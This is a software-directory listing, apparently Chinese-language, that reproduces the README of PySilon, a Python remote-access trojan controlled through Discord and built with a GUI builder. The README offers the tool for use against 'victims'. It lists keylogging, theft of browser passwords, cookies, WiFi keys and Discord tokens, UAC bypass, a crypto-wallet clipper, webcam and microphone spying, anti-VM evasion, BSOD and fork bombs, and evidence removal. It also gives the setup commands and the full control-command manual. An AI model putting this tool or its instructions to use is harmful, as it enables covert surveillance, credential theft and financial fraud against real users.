需先按 Wiki 自行创建 Discord BOT 和服务器才能使用;Anti-VM 会导致在虚拟机中无法运行;README 声明仅限教育用途,滥用风险自负
PySilon
mategolMIT更新放缓用 Python 写的远控木马(RAT),通过 Discord 远程操控目标机器,附带图形化构建器,能一键生成带键盘记录和密码抓取功能的恶意程序。
Advanced RAT written in Python language, fully controllable through Discord with dedicated GUI builder to make preparation easier.
git clone https://github.com/mategol/pysilon-malware
cd pysilon-malware
Windows 运行 PySilon.bat,Linux 运行 PySilon.shREADME 未说明硬件要求;仅提及 Anti-VM 机制,在 VirtualBox、VMware 等虚拟机中不会运行。
用 Python 编写、通过 Discord 远程控制的 RAT 木马,自带 GUI 构建器简化打包
用 Python 写的远控木马(RAT),通过 Discord 远程操控目标机器,附带图形化构建器,能一键生成带键盘记录和密码抓取功能的恶意程序。
核心能力
- 通过 Discord 频道发送命令控制多台受害主机
- 提供 GUI 构建器生成可执行文件
- 支持键盘记录、截屏录屏、摄像头拍照与麦克风录音
- 可窃取浏览器密码、Cookie、WiFi 密码与 Discord Token
- 支持文件上传下载、执行命令与自删除清理痕迹
容易踩的坑
- v3.7.5PySilon v3.7.5最新正式版2024-06-28 · 2024-06-28 19:45 UTC
Essential fixes
v3.7.5- Fixed nevery numpy error (hopefully ffs) | by @iCronic
- v3.7.4PySilon v3.7.42024-06-28 · 2024-06-28 16:23 UTC
查看更新说明
Essential fixes
v3.7.4- Fixed numpy error some people getting | by @avik-py
- v3.7.3PySilon v3.7.32024-06-23 · 2024-06-23 21:34 UTC
查看更新说明
Essential fixes
v3.7.3- Fixed numpy error | by @iCronic
- v3.7.2PySilon v3.7.22024-04-19 · 2024-04-19 21:18 UTC
查看更新说明
Essential fixes
v3.7.2- Added Windows 11 support | by @iCronic & @Yaw-Dev & @mategol
- v3.7.1PySilon v3.7.12023-12-06 · 2023-12-06 16:33 UTC
查看更新说明
Decreased the builder's window size and added a scrollbar. It can now fully display on any monitor resolution! Big thanks to @ambr0sial
用户点评
登录用户的真实使用记录,可按版本和硬件筛选还没有人点评。第一个说出真实体验的人最有价值。
PySilon Malware
Advanced RAT malware written in Python, fully controllable through Discord with dedicated GUI builder to make preparation easier.
Dont download or buy from anywhere else except this repository. Especially not from someone claiming they got an advanced/pro version on telegram or discord!
Wiki
Read our extensive Wiki for more information and detailed building instructions.
PySilon Community
Join our Telegram and Discord servers for support, to ask questions, recommend features and talk to like minded people!
Table of contents
- Disclaimer
- Features
- Preparation
- Available commands
- Setup
- Building executable
- Autonomic features
- Commands manual
Disclaimer
Information and code provided on this repository are for educational purposes only. The creator is no way responsible for any direct or indirect damage caused due to the misusage of the information. Everything you do, you are doing at your own risk and responsibility.
Features
PySilon malware can do plenty of things, like:
- handle multiple PCs (not only one, like in most of the cases)
- UAC Bypass (gain Administrative permissions on startup)
- delete itself whenever you want
- log every key pressed on keyboard (keylogger)
- take screenshots anytime you want
- record screen anytime you want
- elevate itself to critical process (will trigger Blue Screen of Death when killed)
- directly manipulate victim's PC graphics (display custom "things"->[bitmaps, images, texts, glitch effects])
- turn off/on monitors of victim's PC
- block access to any website
- browse and kill running processes
- disable processes (make certain processes impossible to run)
- communicate with the victim in several ways
- use Text-To-Speech on victim's PC
- take images from webcam
- block the mouse and keyboard
- steal saved WiFi passwords
- grab history, cookies and passwords saved in web browsers
- grab discord tokens
- grab system information
- manipulate Windows sounds settings (change the volume)
- play audio files on victim's PC (in background)
- record microphone input (24/7) and save it in .wav files
- stream live microphone input on voice channel
- browse files on target PC
- upload and download files from target PC
- remove files from target PC
- execute files on target PC
- replace copied crypto currency wallet addresses to your [configured] ones
- trigger jumpscares
- trigger Blue Screen of Death
- execute fork bomb (crash the PC)
- Anti-VM (PySilon won't run on Virtual Machines, f.ex.: VirtualBox, VMWare)
- run shell commands (CMD/Powershell)
- Debug Mode for easier testing and
contribution
Preparation
git clone https://github.com/mategol/pysilon-malware
cd pysilon-malware
Create Discord BOT and server
Windows: Run the PySilon.bat either from Command Line or double clicking on it
Linux: Run the PySilon.sh from Command Line
Available commands
.ss - take screenshot at any time
.screenrec - record the screen for 15 seconds
.critical-enable - elevates the process to critical status (.critical-disable to undo)
.display-graphic - manipulate low-level graphics by displaying pixels prepared in DrawlingStudio
.display-glitch <name> - display specified screen glitch
.monitors-off - turn off all monitors (.monitors-on to turn back on)
.website-block <website> - block specified website from being accessed from any browser (.website-unblock <website> to unblock it)
.show <what-to-show> - get list of running processes or available commands
.kill <process-name-or-id> - kill any running process
.blacklist <process-name> - adds specified process to the blacklist (victim won't be able to run it)
.whitelist <process-name> - removes specified process from the blacklist (victim will be able to run it)
.foreground - get active window process name
.msg title="<title>" text="<text>" style=<style> - send a message to victim and get the response
.tts <message> - plays a Text-to-Speech message on victim's PC
.webcam <action> - use connected webcam (currently supports photos shooting)
.block-input - block the mouse and keyboard(.unblock-input to unblock it)
.grab <what-to-grab> - grab for example saved passwords in web browsers
.volume <value> - change the audio output volume on victim's PC
.play [<file>] - play any .mp3 file on the victim's PC (existing one or sent in the next message if no filename was provided)
.join - join voice-channel and stream live microphone input
.pwd - show working directory
.ls - list content of working directory
.tree - show tree of working directory
.cd <directory> - change working directory
.upload <type> [<name>] - upload any file or zipped directory (also greater than 8MB ones) onto target PC
.download <file-or-directory> - download any file or zipped directory (also greater than 8MB ones) from target PC
.remove <file-or-directory> - remove file or directory on target PC
.execute <file> - run any file on target PC
.start-clipper - start crypto-clipper (swap crypto currency wallet addresses to your ones)(.stop-clipper to stop it)
.jumpscare [<preset>] - play very loud and rapidly flashing video or other graphics
.bsod - trigger Blue Screen of Death
.forkbomb - execute fork bomb
.cmd <command> - execute shell command on victim's PC and send back the output
.implode - remove PySilon from target PC and clean the "evidence"
.clear - clear messages from file-related channel
XMR: 4BGaWuNg1io79eHeM67HdEdWgucd6QGfnZACfoRh4eWQYXbGeJGAyxZ4gb15SssDQff4WShpcB3KaAXkyJZr3eQR719bfpp BTC: bc1qw6vp2pj74gthgftyh88rly03pjyuemcavsg9fp ETH: 0x8DBF8b713542b6AA96981Ce6Ab8a19eDf502356c LTC: LZP9Wbuwb4XgeJ8cQPpaWAkpAfWeXq363V
ToDo
List of features that should appear in following releases:
- webhook connection in case of unexpected circumstances (like BOT-Token banned by Discord)
- overall system info grabber with cool Discord Embeds
- traditional reverse shell creator
- grab credit cards information
- optional crypto mining (for example, when victim is idle)
- grab sessions from popular applications (Steam/Minecraft/Metamask/Exodus/Roblox)